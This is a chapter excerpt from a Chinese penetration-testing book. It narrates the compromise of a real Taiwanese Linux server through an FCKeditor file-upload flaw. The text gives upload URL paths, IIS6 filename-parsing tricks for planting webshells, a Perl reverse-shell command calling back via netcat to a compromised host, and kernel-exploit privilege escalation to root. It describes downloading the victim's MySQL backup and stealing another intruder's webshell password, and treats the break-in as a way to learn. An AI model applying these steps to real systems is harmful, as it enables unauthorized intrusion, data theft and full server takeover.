Web渗透技术及实战案例解析
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

3.1 利用FCKeditor漏洞渗透某Linux服务器

FCKeditor是一个专门使用在网页上属于开放源代码的所见即所得文字编辑器,它使用简单,不需要太复杂的安装步骤即可使用。它可和PHP、JavaScript、ASP、ASP.NET、ColdFusion、Java,以及ABAP等不同的编程语言相结合。“FCKeditor”名称中的“FCK”是这个编辑器的作者的名字Frederico Caldeira Knabben的缩写。很多网站使用FCKeditor在线编辑器,目前最新版本为3.0.1,在FCKeditor编辑器早期版本由于过滤不严格、安全意识等原因除了多个漏洞,主要通过文件上传来获取WebShell。FCKeditor漏洞主要利用思路如下。

(1)通过Google等搜索引擎或者通过查看网站源代码来获取网站是否使用FCKeditor编辑器。在发布内容模块,也容易区分系统是否使用FCKeditor编辑器。

(2)获取或者猜测FCKeditor的安装目录。可以是手工也可以通过工具软件扫描目录获取FCKeditor的安装目录以及存在的文件。

(3)IIS6.0文件解析漏洞上传一句话木马或者WebShell。IIS6.0中存在一个文件解析漏洞,在以“*.asp”文件命名的目录下即使突破文件也能被解析执行。另外,文件名称类似“1.asp;1.jpg”的文件在上传时可以以asp文件被执行。

(4)直接上传WebShell。在获取了FCKeditor的安装路径后,可以浏览或者上传文件,例如在早期版本中输入这个地址可以直接上传文件:

fckeditor/editor/filemanager/browser/default/browser.html?Type=ImageConn ector=connectors/asp/connector.asp

下面以一个实际案例来讲解如何通过FCKeditor渗透台湾地区的某服务器。

3.1.1 一个Shell引发的渗透

Jsp的WebShell主要有JShell、JFold和jspFilebrowser三种,当然还有单独所谓“CMD”型的JSP后门,它主要功能就是执行类似CMD的命令。通过Google搜索“阿呆JSP WebShell”时出来一个JSP的网页地址,如图3-1所示,凭感觉知道第一个搜索记录就是一个WebShell地址。

图3-1 搜索WebShell

3.1.2 验证WebShell

直接打开第一个搜索记录,获取真实的网站地址:

“http://www.xxxxx.com/UserFiles/Image/IMG20090817235411840.jsp,打开后能够正常运行,如图3-2所示,输入一些常见的密码进行尝试登录,均未能成功!说明使用该WebShell使用的是自己的密码。

图3-2 测试WebShell

3.1.3 分析WebShell

拿到一个WebShell后第一感觉是该网站肯定存在漏洞,入侵者有可能修复过漏洞也可能未修复漏洞,从该地址来看很像FCKeditor编辑器,直接在网站地址后加上“FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connecto rs/jsp/connector”打开,如图3-3所示,直接打开了FCKeditor熟悉的上传页面。

图3-3 打开FCKeditor上传页面

说明:

FCKeditor编辑器的典型目录结构如图3-4所示,本例中的“UserFiles/ Image/”就属于这种结构。

图3-4

3.1.4 上传WebShell

在FCKeditor中单击浏览按钮直接选择一个JSP的WebShell文件,然后单击“Upload”按钮上传,如图3-5所示,上传成功。

图3-5 上传WebShell

技巧:

(1)在上传时可以先使用“Create New Folder”创建一个文件夹,如果能够创建说明权限较大,基本可以成功上传文件。

(2)在直接上传文件失败的情况下,可以尝试分别上传文件名称为“1.asp;1.jpg”和“1.asp;jpg”的一句话木马。

(3)在某些情况下还可以直接浏览当前目录的文件,可能会留下前任入侵者留下的现存WebShell。

(4)在“browser.html?Type=Image”中的Type有File、Flash和Image三种类型,可以在地址中进行修改,用来上传或者查看文件、Flash文件和图像文件。

(5)关于各种版本的FCKeditor上传利用地址:

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Con nector=connectors

JSP版本:/jsp/connector

Asp版本:/asp/connector

Aspx版本:/aspx/connector

Cfm版本:/cfm/connector

3.1.5 测试上传的WebShell

由于FCKeditor的典型目录结构为“UserFiles/Image/”,因此上传的WebShell地址公式为“UserFiles/Image(File和Flash)/+文件名称”,在本例中是上传的Flash文件目录,因此实际地址为“http://www.xxxxx.com/UserFiles/Flash/Browser.jsp”,如图3-6所示,WebShell能够正常运行,此时就可以利用WebShell下载、上传、删除、复制以及执行命令等操作。

图3-6 测试上传的WebShell

3.1.6 对WebShell所在服务器进行分析与信息收集

(1)获取服务器类型

在获取WebShell后可以通过它来执行命令,查看服务器的配置情况,如图3-7所示,通过浏览文件目录可以看到该服务器为Linux服务器。

图3-7 获取服务器类型

(2)下载网站源代码与数据

渗透能够快速地提高个人能力,在渗透成功后通过下载网站源代码与数据到本地进行分析,取长补短学习他人长处,快速积累经验。在本例中通过查看该服务器下的“var/mysqlbak”目录,获取了该网站的数据库MySQL备份文件,如图3-8所示,通过WebShell可以下载单独的文件,也可以打包下载整个网站的文件。

图3-8 下载MySQL数据库

(3)获取他人WebShell密码

他人WebShell是本次渗透的动力,通过WebShell的地址去查看文件的实际地址,使用cat命令查看其登录密码:cat home/webhome/ xxxxx.com/WEB-INF/webapps/ROOT/ UserFiles/Image/IMG20090817235411840.jsp”,如图3-9所示,获取其密码为“191903***”

图3-9 获取WebShell的密码

3.1.7 服务器提权

(1)查看Linux版本

在WebShell中直接执行“uname -a”命令用以获取Linux的版本,结果显示为“Linux java.pumo.com.tw 2.6.9-11.ELsmp #1 SMP Fri May 20 18:26:27 EDT 2005 i686 i686 i386 GNU/Linux”,如图3-10所示。由图3-10可知该服务器的内核为2.6.9-11版本,目前Linux稳定的最新内核版本为2.6.32(Linux最新内核版本查看地址:http://kernel.org/pub/ linux/kernel/v2.6/),从这个版本可以判断该服务器可以较容易被提权。

图3-10 获取Linux内核版本

(2)查看操作系统

“/etc/issue”主要显示操作系统发行版本等信息,用户可以定制issue,也就是说可以手动修改,如果未修改则默认显示各个操作发行版本的信息,如图3-11所示,使用“cat/etc/issue”命令查看该操作系统的版本信息,结果显示该操作系统为红帽Linux企业版本,获取该信息的目的就是选择相应的溢出程序来提权。

图3-11 获取操作系统发行版本

(3)反弹回Shell

将反弹脚本c.pl上传到路径“/var/tmp”下,然后在受控计算机(肉鸡)上执行“nc -vv-l -p 53”,再然后在该WebShell中执行“perl /var/tmp/c.pl 202.102.xxx.xxx 53”,如图3-12所示,将该服务器反弹到肉鸡(202.102.xxx.xxx)的53端口上。

图3-12 编译反弹脚本

说明:执行成功后会给出一定的提示,否则表明编译未成功或者存在其他问题。在WebShell上执行成功后会在肉鸡上显示一个Shell,如图3-13所示,该Shell相当于一个终端,从反弹的结果来看,反弹回来的权限是普通用户的,为了全面控制系统需要获取Root权限。

图3-13 成功反弹

(4)尝试提权

通过WebShell上传最新的sendpage3利用程序,上传成功后,在反弹的Shell中进行查看上传的程序,然后直接执行“./run”命令,如图3-14所示,直接提权为Root用户权限。

图3-14 提权成功

3.1.8 总结与探讨

本案例通过FCKeditor漏洞成功获取WebShell后,然后通过查看Linux版本,操作系统的发行版本等信息,上传相应的漏洞利用程序,通过在反弹的终端执行exploit而获得系统的最高权限。从本质上来说,渗透的核心就是漏洞,只要找到漏洞,选择相应的溢出(漏洞)程序,就可以渗透成功!